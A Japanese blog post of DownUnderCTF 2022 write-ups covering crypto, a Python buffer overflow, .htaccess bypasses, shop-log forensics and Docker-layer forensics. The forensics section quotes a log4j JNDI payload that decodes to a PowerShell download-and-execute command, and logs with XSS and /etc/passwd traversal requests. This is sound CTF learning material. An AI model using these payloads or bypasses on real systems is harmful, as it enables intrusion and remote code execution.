はまやんはまやんはまやん

hamayanhamayan's blog

DownUnderCTF 2022 Writeupsというかほぼチラシの裏

[crypto] baby arx

暗号の処理を見ていると、和とかが入っていて逆計算結構大変そう。
なので、DUCTF{から始まっていることを過程して、先頭から順番に全探索していくことを考える。

ストリームで1byte出力するのにバッファの先頭2byteが使われている。
初期状態としてバッファの先頭をDUとして、ストリームの1byteを生成してみるとお手本と一致する。
なので、DU?の?部分を全探索して、U?でお手本の2byte目と一致するものを探していく。
DUCと分かるので次はDUC?の?を全探索して、お手本の3byte目と一致するかを確認する。
順次繰り返すとフラグが復元できる。

class baby_arx():
    def __init__(self, key):
        self.state = list(key)

    def b(self):
        b1 = self.state[0]
        b2 = self.state[1]
        b1 = (b1 ^ ((b1 << 1) | (b1 & 1))) & 0xff
        b2 = (b2 ^ ((b2 >> 5) | (b2 << 3))) & 0xff
        b = (b1 + b2) % 256
        self.state = self.state[1:] + [b]
        return b

    def stream(self, n):
        return bytes([self.b() for _ in range(n)])

sensei = 'cb57ba706aae5f275d6d8941b7c7706fe261b7c74d3384390b691c3d982941ac4931c6a4394a1a7b7a336bc3662fd0edab3ff8b31b96d112a026f93fff07e61b'
ans = b"DU"
for _len in range(62):
    len = _len + 2
    sensei_prefix = sensei[:(len*2)]
    print(f"[*] {sensei_prefix}")

    for c in range(256):
        cipher = baby_arx(ans + c.to_bytes(1, 'big'))
        out = cipher.stream(64).hex()
        if sensei[:(len*2)] == out[:(len*2)]:
            ans = ans + c.to_bytes(1, 'big')
            print(f"[+] {ans}")
            break

[pwn] babyp(y)wn

pythonBoFを起こす問題。

from ctypes import CDLL, c_buffer
libc = CDLL('/lib/x86_64-linux-gnu/libc.so.6')
buf1 = c_buffer(512)
buf2 = c_buffer(512)
libc.gets(buf1)
if b'DUCTF' in bytes(buf2):
    print(open('./flag.txt', 'r').read())

buf1に書き込みをしているが、BoF脆弱性があるのでbuf2まで書き込んでしまうというもの。DUCTFという文字列を繰り返したものを送ればいい。
512を超えるくらいの適当な文字数にして送った。以下を送るとフラグ。

DUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTFDUCTF

DUCTF{C_is_n0t_s0_f0r31gn_f0r_incr3d1bl3_pwn3rs}

[web] helicoptering

2つ.htaccessで制限されたディレクトリが与えられるのでうまくbypassして中身を見る問題。

  • /one/flag.txt
    • RewriteCond %{HTTP_HOST} !^localhost$が大事な部分
    • Host: localhostであればいいのでInterceptしてHostヘッダーをHost: localhostに書き換えれば開ける
    • DUCTF{thats_it_
  • /two/flag.txt
    • RewriteCond %{THE_REQUEST} flagにあるようにflagが含まれていると開けない
    • 検索すると色々出てくるがHubert Hackin'に書いてあることをすれば開ける
    • THE_REQUESTで持ってきた場合はリクエストの1行目がそのまま持ってこられる形になるみたいなので、flagの文字の一部分をパーセントエンコーディングしてやればbypass可能
    • /two/fla%67.txtにアクセスすればフラグが得られる
    • next_time_im_using_nginx}

よって

DUCTF{thats_it_next_time_im_using_nginx}

[DFIR] Shop-系問題

Shop-Knock Knock Knock

ログインブルートフォース攻撃者のIPを特定して、そのISPの連絡先メールアドレスを答える問題。

cat DownUnderShop.JSON | grep '"method": "POST' -A 1で眺めるとshop.downunderctf.com/loginというURLが気になる。

{
    "_time": "2021-01-01T09:49:12.000+0000",
    "origin": "101.183.127.167",
    "site": "shop.downunderctf.com",
    "method": "POST",
    "referer": "shop.downunderctf.com/login",
    "useragent": "Mozilla/5.0 (Windows NT 4.0) AppleWebKit/5351 (KHTML, like Gecko) Chrome/36.0.803.0 Mobile Safari/5351",
    "url": "shop.downunderctf.com/login",
    "logSource": "Http:Web"
}

これっぽい。適当にgrepしてoriginを見てみると58.164.62.91が一番多い
VTで検索してwhoisから適当にメールアドレスを持ってきて答えると思うのだが…
https://www.virustotal.com/gui/ip-address/58.164.62.91/details

ダメっぽいので別のところで探す。
https://ipinfo.io/AS1221/58.160.0.0/12-58.164.60.0/22 にあった abuse@telstra.net をこたえると答えだった。

Shop-Logging for what?

何か攻撃が成功したらしく、そのスクリプトを特定する問題。
継続して行われているlog4jの攻撃で気になるものがある。

${${::-j}${::-n}${::-d}${::-i}:${::-l}${::-d}${::-a}${::-p}://41.108.181.141:5552/Basic/Command/Base64/cG93ZXJzaGVsbC5leGUgLWV4ZWMgYnlwYXNzIC1DICJJRVggKE5ldy1PYmplY3QgTmV0LldlYkNsaWVudCkuRG93bmxvYWRTdHJpbmcoJ2h0dHBzOi8vZG93bnVuZGVyY3RmLmNvbS9wVENOcDVwNkxQMGQ3cUE3N3l2YjRTSGY0MCcpOyI=

https://gchq.github.io/CyberChef/#recipe=From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=Y0c5M1pYSnphR1ZzYkM1bGVHVWdMV1Y0WldNZ1lubHdZWE56SUMxRElDSkpSVmdnS0U1bGR5MVBZbXBsWTNRZ1RtVjBMbGRsWWtOc2FXVnVkQ2t1Ukc5M2JteHZZV1JUZEhKcGJtY29KMmgwZEhCek9pOHZaRzkzYm5WdVpHVnlZM1JtTG1OdmJTOXdWRU5PY0RWd05reFFNR1EzY1VFM04zbDJZalJUU0dZME1DY3BPeUk9

cyberchefでデコードすると

powershell.exe -exec bypass -C "IEX (New-Object Net.WebClient).DownloadString('https://downunderctf.com/pTCNp5p6LP0d7qA77yvb4SHf40');"

powershellスクリプトを動かすコードがある。
スクリプト名と言われれば「pTCNp5p6LP0d7qA77yvb4SHf40」っぽいので出すと正解。

Shop-I'm just looking!

脆弱性スキャンで使われたツールを特定してほしいという問題。
眺めると怪しいリクエストが飛んでいるのに気が付く。
以下のようにreferrerも無く、怪しいリクエストをたくさん飛ばしているログが残っているので、以下を参考に取り出してみる。

    "origin": "194.163.140.128",
    "site": "shop.downunderctf.com",
    "method": "GET",
    "referer": "null",

すると以下のようになる。

"url": "shop.downunderctf.com/wp-content/uploads/simple-file-list/nuclei.php",
"url": "shop.downunderctf.com/CFIDE/administrator/enter.cfm",
"url": "shop.downunderctf.com/cgi-bin/test/test.cgi",
"url": "shop.downunderctf.com/favicon.ico",
"url": "shop.downunderctf.com/nuclei.txt",
"url": "shop.downunderctf.com/wp-content/plugins/elementor/",
"url": "shop.downunderctf.com/zp-core/setup/index.php",
"url": "shop.downunderctf.com/wp-content/plugins/gtranslate/",
"url": "shop.downunderctf.com/include/nuclei.txt",
"url": "shop.downunderctf.com/pandora_console/mobile/",
"url": "shop.downunderctf.com/install.php",
"url": "shop.downunderctf.com/api/v4/projects",
"url": "shop.downunderctf.com/signup",
"url": "shop.downunderctf.com/metrics",
"url": "shop.downunderctf.com/MyErrors.log",
"url": "shop.downunderctf.com/error.log",
"url": "shop.downunderctf.com/npm-debug.log",
"url": "shop.downunderctf.com/production.log",
"url": "shop.downunderctf.com/plugin/build-metrics/getBuildStats?label=%22%3E%3Csvg%2Fonload%3Dalert(1337)%3E&range=2&rangeUnits=Weeks&jobFilteringType=ALL&jobFilter=&nodeFilteringType=ALL&nodeFilter=&launcherFilteringType=ALL&launcherFilter=&causeFilteringType=ALL&causeFilter=&Jenkins-Crumb=4412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96&json=%7B%22label%22%3A+%22Search+Results%22%2C+%22range%22%3A+%222%22%2C+%22rangeUnits%22%3A+%22Weeks%22%2C+%22jobFilteringType%22%3A+%22ALL%22%2C+%22jobNameRegex%22%3A+%22%22%2C+%22jobFilter%22%3A+%22%22%2C+%22nodeFilteringType%22%3A+%22ALL%22%2C+%22nodeNameRegex%22%3A+%22%22%2C+%22nodeFilter%22%3A+%22%22%2C+%22launcherFilteringType%22%3A+%22ALL%22%2C+%22launcherNameRegex%22%3A+%22%22%2C+%22launcherFilter%22%3A+%22%22%2C+%22causeFilteringType%22%3A+%22ALL%22%2C+%22causeNameRegex%22%3A+%22%22%2C+%22causeFilter%22%3A+%22%22%2C+%22Jenkins-Crumb%22%3A+%224412200a345e2a8cad31f07e8a09e18be6b7ee12b1b6b917bc01a334e0f20a96%22%7D&Submit=Search",
"url": "shop.downunderctf.com/LetsEncrypt/Index?fileName=/etc/passwd",
"url": "shop.downunderctf.com/phpmyadmin/",

nucleiというワードがあるが、これがディレクトリスキャニングをしてくれるツール。
「nuclei」が答え。

Shop-Oi! Get out of there!

誰かが管理者アカウントへの侵入に成功したようで、旧パスワードを聞かれている。
passwordでgrepすると怪しいリクエストが出てくる。

"url": "shop.downunderctf.com/login?ref=M2RjOTE5ZGUxODZkMWE4ZWU2MmZmZjkyZDgwODM5Zjc6NmQ3YzViM2U3OTZkODMzYjNmZGQ0MGY0Y2U1N2ZhY2Q%3D",

https://gchq.github.io/CyberChef/#recipe=URL_Decode()From_Base64('A-Za-z0-9%2B/%3D',true,false)&input=TTJSak9URTVaR1V4T0Raa01XRTRaV1UyTW1abVpqa3laRGd3T0RNNVpqYzZObVEzWXpWaU0yVTNPVFprT0RNellqTm1aR1EwTUdZMFkyVTFOMlpoWTJRJTNE

cyberchefを使ってエンコーディングを戻すとハッシュ値らしきものが出てくる。

3dc919de186d1a8ee62fff92d80839f7:6d7c5b3e796d833b3fdd40f4ce57facd

crackstationに通してみると、二番目がmd5(haxxor1)であると分かる。一応出してみるが違う。

3dc919de186d1a8ee62fff92d80839f7 Unknown Not found.
6d7c5b3e796d833b3fdd40f4ce57facd md5 haxxor1

crackstationではなくHashes.comを使ったら1つ目も戻せた。

https://hashes.com/en/decrypt/hash
3dc919de186d1a8ee62fff92d80839f7:ozzieozzieozzie

ozzieozzieozzieを答えると正解だった。

[DFIR] doxme

fileコマンドで確認してみるとoffice系ファイルみたい。

$ file doxme
doxme: Microsoft OOXML

oleほにゃらら系のツールを走らせたが特に何もなかったのでzipとして解凍してみるとフラグが書いてある画像ファイルが埋め込まれていた。

DUCTF{WOrd_D0Cs_Ar3_R34L1Y_W3ird}

[DFIR] ogres are like onions

とりあえずdiveを使ってレイヤーを見てみる。
dive downunderctf/onions

/app/memes/flag.jpgがあったみたいだが、消されている。
COPY . /appをしているレイヤーが「Id: 8ebc0cf8560da4fc3356bf3c640b4fcecd68bcbb55a4049b3bf92c」みたいなのでダンプして中身を見てみる。
docker save downunderctf/onions > dumped.tarで該当IDのフォルダにあるlayer.tarの中身を見てみるとフラグが書かれたファイルがおいてある。

DUCTF{P33L_B4CK_TH3_L4Y3RS}